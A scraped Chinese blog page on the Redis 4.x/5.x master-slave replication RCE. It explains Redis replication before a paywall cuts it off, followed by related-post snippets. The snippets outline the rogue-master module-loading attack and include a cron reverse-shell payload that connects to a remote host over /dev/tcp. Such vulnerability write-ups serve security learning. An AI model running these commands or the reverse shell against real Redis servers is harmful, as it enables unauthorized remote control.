redis主从复制RCE 4.x/5.x

最新推荐文章于 2024-08-20 10:16:32 发布
最新推荐文章于 2024-08-20 10:16:32 发布
阅读量773 收藏 5
点赞数 1
分类专栏： 漏洞复现
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_42140534/article/details/111519077
版权

0x01 主从复制说明

reids 虽然读取速度特别快，但也会产生读压力的，为了分担这个压力，redis支持主从复制，redis的主从结构可以采用一主多从或者级联结构，redis组从复制根据是否全量可以分为全量同步和增量同步
在这里插入图片描述

全量同步

Redis全量复制一般发生在Slave初始化阶段，这时Slave需要将Master上的所有数据都复制一份。具体步骤如下：

  • 从服务器连接主服务器，发送SYNC命令；
  • 主服务器接收到SYNC命名后，开始执行BGSAVE命令生成RDB文件并使用缓冲区记录此后执行的所有写命令；
  • 主服务器BGSAVE执行完后，向所有从服务器发送快照文件，并在发送期间继续记录被执行的写命令；
  • 从服务器收到快照文件后丢弃所有旧数据，载入收到的快照；
  • 主服务器快照发送完毕后开始向从服务器发送缓冲区中的写命令；
  • 从服务器完成对快照的载入，开始接收命令请求，并执行来自主服务器缓冲区的写命令；
    在这里插入图片描述
    以上步骤是服务器初始化的所有操作，从服务器此时可以接收来自用户的读请求

增量同步

redis增量复制是指Slave初始化后开始正

最低0.47元/天 解锁文章
redis主从复制
admin的博客
05-22 354
手动操作过程记录：1、编写脚本，构造恶意Redis服务器，监听本地端口1234，加载exp.so。2、通过未授权访问连入要攻击的redis服务器。执行相关命令：#设置redis的备份路径为当前目录#设置备份文件名为exp.so，默认为dump.rdb#设置主服务器IP和端口#加载恶意模块#切断主从，关闭复制功能#执行系统命令#通过dump.rdb文件恢复数据#删除exp.so#卸载system模块的加载。
一文清晰带你认识redis漏洞
逍遥小哥的博客
02-01 1993
主从模式指使用一个redis作为主机，其他的作为备份机，主机从机数据都是一样的，从机只负责读，主机只负责写。在Reids 4.x之后，通过外部拓展，可以实现在redis中实现一个新的Redis命令，构造恶意.so文件。数据持久化：Redis提供持久化功能，可以将数据保存到磁盘上，以防止数据丢失。Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。
Redis主从复制以及主从复制技术原理.docx
10-14
Redis主从复制以及主从复制技术原理.docx
Redis-主从复制
shui2104的博客
09-27 303
Redis-主从复制 ​ 为了避免单点Redis服务器故障，准备多台服务器，相互连通。将数据多个副本保存在不同的服务器上，连接在一起，并保证数据是同步的。即使其中某一台服务器宕机，其他服务器依然可以继续提供服务，实现Redis的高可用，同时实现数据冗余备份。 ​ 主从复制即将master中的数据有效及时的复制到slave中。一个master可以对应多个slave，一个slave只能对应一个master。 master：复制写数据，执行写操作时，将出现变化的数据自动同步到slave。读数据的操作基本可忽略
Redis主从复制RCE（4.x、5.x）
最新发布
qq_57163799的博客
08-20 625
Redis未授权访问之主从复制RCE（利用简单快速）！！！
Redis主从复制实现RCE
rev1ve的博客
12-01 3862
主从复制是指将一台Redis主服务器的数据，复制到其他的Redis从服务器。前者称为主节点(master)，后者称为从节点(slave)；主服务器可以进行读写操作，当发生写操作时自动将写操作同步给从服务器，而从服务器一般是只读，并接受主服务器同步过来写操作命令，然后执行这条命令。 也就是说，所有的数据修改只在主服务器上进行，然后将最新的数据同步给从服务器，这样就使得主从服务器的数据是一致的。建立主从复制，有3种方式：PS：建立主从关系只需要在从节点操作就行了，主节点不用任何操作我们先在同一个机器开两个red
Redis基于主从复制的RCE
m0_58596609的博客
10-13 2660
Redis基于主从复制的RCE
Redis基于主从复制的RCE 4.x/5.x 复现
Sylon的博客
11-21 1408
0x00 前言 这个Redis漏洞出来很久了，一直没时间复现。 最近在学习docker 就复现了这个漏洞。 docker大法好哇 真的好！ docker大法秒哇 真的秒！ 0x01 环境准备 server docker start //启动docker服务 docker search redis5.0 //redis5.0查找镜像 docker pull damonevking/redi...
redis主从复制_Redis 基于主从复制的 RCE 利用方式
weixin_39638057的博客
11-19 379
作者：LoRexxar'@知道创宇404实验室时间：2019年7月9日在2019年7月7日结束的WCTF2019 Final上，LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式[1]，比起以前的利用方式来说，这种利用方式更为通用，危害也更大，下面就让我们从以前的redis RCE利用方式出发，一起聊聊关于redis的利用问题。1. 通过...
redis 主从复制 rce 和 题目复现
qq_41891666的博客
07-03 1600
0x01 RESP 协议 redis 客户端和服务端之间采用RESP 协议来通信，RESP 协议全称 REdis Serialization Protocol 理解 Redis 的 RESP 协议 搞清RESP 协议，就可以看懂 redis-rogue-server.py 中是怎么构造协议的了，以及怎么把redis 客户端命令转化成 通信时的 数据了 0x02 主从复制 中的FULLRESYNC （全局同步）： 贴一篇文章，讲到很详细：Redis 全量同步解析 也就是说master 回复 +FULLR
redis4.x/5.x 基于主从复制 RCE 复现
sojrs_sec的博客
09-30 507
环境准备 这里我通过zoomeye找到一台服务器34.70.67.23，上面开了redis4.0.6服务 准备exp 自己的vps 1.1.1.1 git clone https://github.com/n0b0dyCN/redis-rogue-server 编译exp.so cd /root/redis/redis-rogue-server/RedisModulesSDK/exp make ...
Redis 4.x5.x 未授权访问漏洞（Redis基于主从复制的RCE）
黑白的博客
12-06 2218
声明 好好学习，天天向上 漏洞描述 SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞（CVE-2020-11651）和目录遍历漏洞（CVE-2020-11652）。 在 CVE-2020-11651 认证绕过漏洞中，攻击者通过构造恶意请求，可以绕过 Salt Master 的验证逻辑，调用相关未授权函数功能，从而可以造成远程命令执行漏洞。 影响范围 SaltStack < 2019.2.4 SaltStack &l
Redis基于主从复制的RCE(redis4.x 5.x)复现
ddr12231的博客
07-10 310
使用docker建立redis 拉取镜像 运行 查看 可以连接,存在未授权 https://github.com/Ridter/redis-rce 发送poc i:正向连接 r:反弹 反弹成功 转载于:https://www.cnblogs.com/mrhonest/p/11162735.html...
10步实现Redis主从复制（Redis）
weixin_48629371的博客
02-18 1522
一、Redis实现主从复制 概念（了解才能方便实操）： 主从复制，是指将一台Redis服务器的数据，复制到其他的Redis服务器。前者称为主节点(master)，后者称为从节点(slave)；数据的复制是单向的，只能由主节点到从节点。 主从复制的作用主要包括： 数据冗余：主从复制实现了数据的热备份，是持久化之外的一种数据冗余方式。 故障恢复：当主节点出现问题时，可以由从节点提供服务，实现快速的故障恢复；实际上是一种服务的冗余。 负载均衡：在主从复制的基础上，配合读写分离，可以由主节点提供写服务.
redis未授权漏洞和主从复制rce漏洞利用
weixin_30675967的博客
07-11 978
　　未授权无需认证访问内部数据库。 利用计划任务反弹shell redis-cli -h 192.168.2.6 set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root...
Redis 4.x5.x 未授权访问漏洞（RCE）
网络安全。
02-14 1491
0x01 简介 Redis未授权访问在4.x/5.0.5以前版本下，我们可以使用master/slave模式加载远程模块，通过动态链接库的方式执行任意命令。 0x02 漏洞复现 1、环境启动后，通过redis-cli -h your-ip即可进行连接，可见存在未授权访问漏洞。 2、使用如下POC即可直接执行命令。 工具地址：https://github.com/vulhub/redis-rogu...
【redis-rce】Redis 4.x/5.x 未授权访问-远程命令执行漏洞
Delphinidae
12-15 726
漏洞参考： https://vulhub.org/#/environments/redis/4-unacc/ https://github.com/vulhub/redis-rogue-getshell 漏洞原理： Redis未授权访问在4.x/5.0.5以前版本下，我们可以使用master/slave模式加载远程模块，通过动态链接库的方式执行任意命令。 下载exp代码，本地编译后生成exp.so 的库文件，然后通过redis未授权可以配置主从同步功能修改主服务器的地址为存放exp.so的地址，利用同步功能
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值